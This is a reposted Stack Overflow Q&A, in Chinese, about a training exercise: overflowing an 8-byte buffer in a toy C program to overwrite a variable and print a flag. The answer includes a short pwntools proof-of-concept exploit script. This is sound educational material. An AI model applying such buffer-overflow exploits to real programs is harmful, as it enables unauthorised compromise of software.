gpt4 book ai didi

c - 如何以交互方式发送原始字节以利用缓冲区溢出漏洞?

转载 作者:行者123 更新时间:2023-11-30 19:28:12 27 4
gpt4 key购买 nike

作为练习的一部分,我正在尝试通过缓冲区溢出覆盖变量的值来利用一个简单的程序。我很确定我已经弄清楚了漏洞利用背后的想法,但由于我无法注入(inject)我的代码,所以我无法确定。

我尝试构建一个使用 Pwntools 的脚本,该脚本非常适合打包整数,但我还没有设法让它工作。我还尝试阅读有关 TTY 以及如何操纵终端发送到进程的内容。

我正在利用的程序的简单伪代码:

returnFlag() {
print(flag)
}

main() {
char[8] = input
id = 999999

input = fgets()

if (id = 0) {
returnFlag()
}
}

我的计划是溢出变量输入并用 0 覆盖 id 的值,以便执行函数 returnFlag() 。但是当我输入例如“AAAA\x00\x00\x00”时,当我用 GDB 查看内存时,我只会得到乱码。

这个问题在过去的 1.5 周里让我抓狂,如果有任何帮助,我们将不胜感激。

最佳答案

所以我想出了如何解决这个问题。希望这对其他人也有帮助。

问题是我不知道如何发送“利用代码”,因为它是由空值组成的。幸运的是,有一个名为 Pwntools 的简洁工具 link这对你有帮助。

使用该工具,您可以与程序交互并“打包”整数,以便可以发送所有必要类型的字节,包括空字节。

使用 Pwntools 来利用上面的程序的简单 POC,我们将其称为 vuln,如下所示:

#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *

context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'

pl = fit({0:'1', 8:[0x00000000]})

io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))

因此,我首先导入所有库,设置我尝试使用 context 来利用的环境。然后我使用 fit 函数。它以一种我可以将其发送到程序的方式打包我的所有输入。我仍在试图弄清楚 fit 在幕后做了什么。

关于c - 如何以交互方式发送原始字节以利用缓冲区溢出漏洞?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/54468653/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com